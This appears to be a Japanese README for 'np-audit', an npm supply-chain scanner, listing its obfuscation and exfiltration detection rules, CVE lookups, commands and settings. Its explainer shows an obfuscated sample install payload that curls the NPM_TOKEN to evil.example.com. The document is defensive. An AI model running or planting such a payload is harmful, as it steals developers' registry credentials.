
依存関係ゼロ。 純粋な Node.js 組み込みのみ。配信時 < 100 kB。
npx np-audit scan express
npm install -g np-audit
npa scan # scan all deps
npa install # audit then install
alias npm='npa' # use as drop-in replacement
検出はモジュール式マーシャラーに分割されています — 各マーシャラーは単一の攻撃シグナルを検出します:
| マーシャラー | 検出内容 | スコア |
|---|---|---|
eval/dynamic-exec | 文字列を伴う eval()、new Function()、間接 eval、vm.*、setTimeout | 8 |
obfuscator.io | _0x 変数命名パターン(obfuscator.io の出力) | 9–80 |
high-entropy-string | シャノンエントロピーが高い長い文字列または連結チェーン | 6 |
hex-escape-density | 高密度の \xNN および \uXXXX エスケープシーケンス | 5–50 |
fromCharCode | 多数の引数を持つ String.fromCharCode、大きな10進数文字コード配列 | 7 |
encoded-decode | Base64/hex デコード(atob、Buffer.from)。任意で eval と組み合わせ | 3–8 |
child-process | require('child_process')、exec、spawn、fork、worker_threads | 5 |
hex-array | 多数の 0x 16進リテラル値 | 7–60 |
process-env | process.env アクセス(認証情報の外部流出シグナル) | 3 |
network-call | require('https')、fetch()、dns、net、tls | 4 |
filesystem-manipulation | fs.writeFile、chmod、symlink(バックドアの永続化) | 3–4 |
runtime-download | 外部ランタイム(Bun、Deno)をダウンロードして実行 | 9–50 |
vscode-autorun | runOn: folderOpen を使用した VS Code タスク(自動実行) | 30 |
known-vulnerability |
スコアは深刻度に応じて変動します — 難読化インジケーターの数が多いほど高いスコアになります。最終的な判定は、すべてのマーシャラーの中での最高スコアに基づきます。
カスタムマーシャラーの作成方法については CONTRIBUTING.md を参照してください。
スキャンされたすべてのパッケージは、コード解析に加えて既知の脆弱性データベースと照合されます。
デフォルト:OSV.dev(セットアップ不要)
すぐに動作します — 無料の OSV.dev API に問い合わせて、既知の脆弱性と悪意のあるパッケージの勧告を取得します。
オプション:Snyk API(よりリッチなデータ)
# Environment variable
export SNYK_API_TOKEN=your-token-here
# Or via Snyk CLI
snyk auth
トークンの解決順序:SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json
| 重大度 | スコア | 判定 |
|---|---|---|
| 悪意のあるパッケージ | 80 | DANGER |
| 10以上の脆弱性 | 6 | WARN |
| 5〜9の脆弱性 | 5 | WARN |
| 1〜4の脆弱性 | 4 | WARN |
悪意のない CVE は警告を生成しますが、インストールをブロックすることはありません。確認済みの悪意のあるパッケージのみが DANGER をトリガーします。
| コマンド | エイリアス | 説明 |
|---|---|---|
npa install [package] | npa i | 監査後に npm install を実行 |
npa ci | — | 監査後に npm ci を実行 |
npa scan [package] | npa s | スキャンのみ実行、インストールなし |
npa config get | npa c get | 現在の設定を表示 |
npa config set <key> <value> | npa c set | 設定値を更新 |
npa alias --install | — | シェルエイリアスをインストール |
npa alias --uninstall | — | シェルエイリアスを削除 |
認識されないコマンドは npm に転送されます(例:npa run test、npa publish)。
| フラグ | エイリアス | 対応コマンド | 説明 |
|---|---|---|---|
--review | -r | install, ci | 対話モード — 許可するスクリプトを選択 |
--json | — | install, ci, scan | 機械可読な JSON 出力 |
--no-dev | — | install, ci, scan | devDependencies をスキップ |
--verbose | — | all | フェッチの進行状況と追加の詳細を表示 |
--version | -v | — | バージョンを表示して終了 |
--help | -h | — | ヘルプを表示して終了 |
--review モードnpa install --review
npa --review mode
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
Found 3 package(s) with install scripts:
[✓ allow] [email protected] postinstall: post-install.js OK
▶ [✗ deny ] [email protected] postinstall: install.js DANGER (score: 9)
[✓ allow] @scope/[email protected] postinstall: install.js WARN (score: 5)
2 allowed 1 denied
設定は ~/.npmauditor.json(グローバル)に保存され、プロジェクトごとに .npmauditor.json で上書きできます。
npa config get # Show current config
npa config set blockScore 6 # Block at score 6+
npa config set skipPackages '["esbuild"]' # Trust specific packages
npa config set skipScopes '["@types"]' # Trust entire scopes
| キー | デフォルト | 説明 |
|---|---|---|
blockScore | 7 | DANGER のスコアしきい値(終了コード 1) |
warnScore | 4 | WARN のスコアしきい値(終了コード 0) |
registry | https://registry.npmjs.org | npm レジストリの URL |
timeout | 30000 | HTTP リクエストのタイムアウト(ms) |
parallelFetches | 5 | 同時ダウンロード数 |
skipScopes | [] | スキップする @scope プレフィックス |
skipPackages | [] | スキップするパッケージ名 |
silent | false | 問題が見つからない場合に出力を抑制 |
scanSelf | true | 自身のプロジェクトのライフサイクルスクリプトをスキャン |
maxTarballSize | 50MB | 展開後の tarball の最大サイズ(爆弾対策) |
checkVulnerabilities | true | パッケージを CVE データベースと照合 |
deepResolve | false | 完全な推移的依存関係ツリーを解決 |
disabledMarshallers | [] | スキャン中にスキップするマーシャラー名 |
特定の検出チェックを無効にするには、その名前を disabledMarshallers に追加します:
npa config set disabledMarshallers '["process-env", "network-call"]'
利用可能なすべてのマーシャラー名と現在のステータスを確認するには:
npa config marshallers
これは、あるマーシャラーがワークフローにとって誤検知を生成する場合に役立ちます。無効化されたマーシャラーは、静的コード解析とパッケージレベルのチェックの両方で完全にスキップされます。
npa を透過的な npm の代替として使用します:
npa alias --install # adds: alias npm='npa'
source ~/.zshrc # reload shell
これで npm install、npm ci は自動的にスキャンされます。その他の npm コマンド(npm run、npm test、npm publish)は変更されずにそのまま渡されます。
npa alias --uninstall # remove the alias
package-lock.json(v1/v2/v3)、または package.json から解決node_modules から読み取り)&&/||/;/| を分割し、node -e、sh -c、シェルスクリプトを処理require()/import グラフを走査(循環検出、50 ファイル / 5 MB 上限)サプライチェーン攻撃は npm のライフサイクルスクリプトを悪用します。npm install を実行すると、preinstall/install/postinstall スクリプトが自動的に実行されます。攻撃者は難読化の背後にペイロードを隠します:
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
実際に発生したインシデント:
npa はスクリプトを決して実行しません。スクリプトをダウンロードして静的に解析します。
| コード | 意味 |
|---|---|
0 | すべてクリーン、または警告のみ |
1 | 1 つ以上のパッケージがブロックされた |
MIT
| Snyk API または OSV.dev による既知の CVE |
| 4–6 (WARN)、80 (悪意のある) |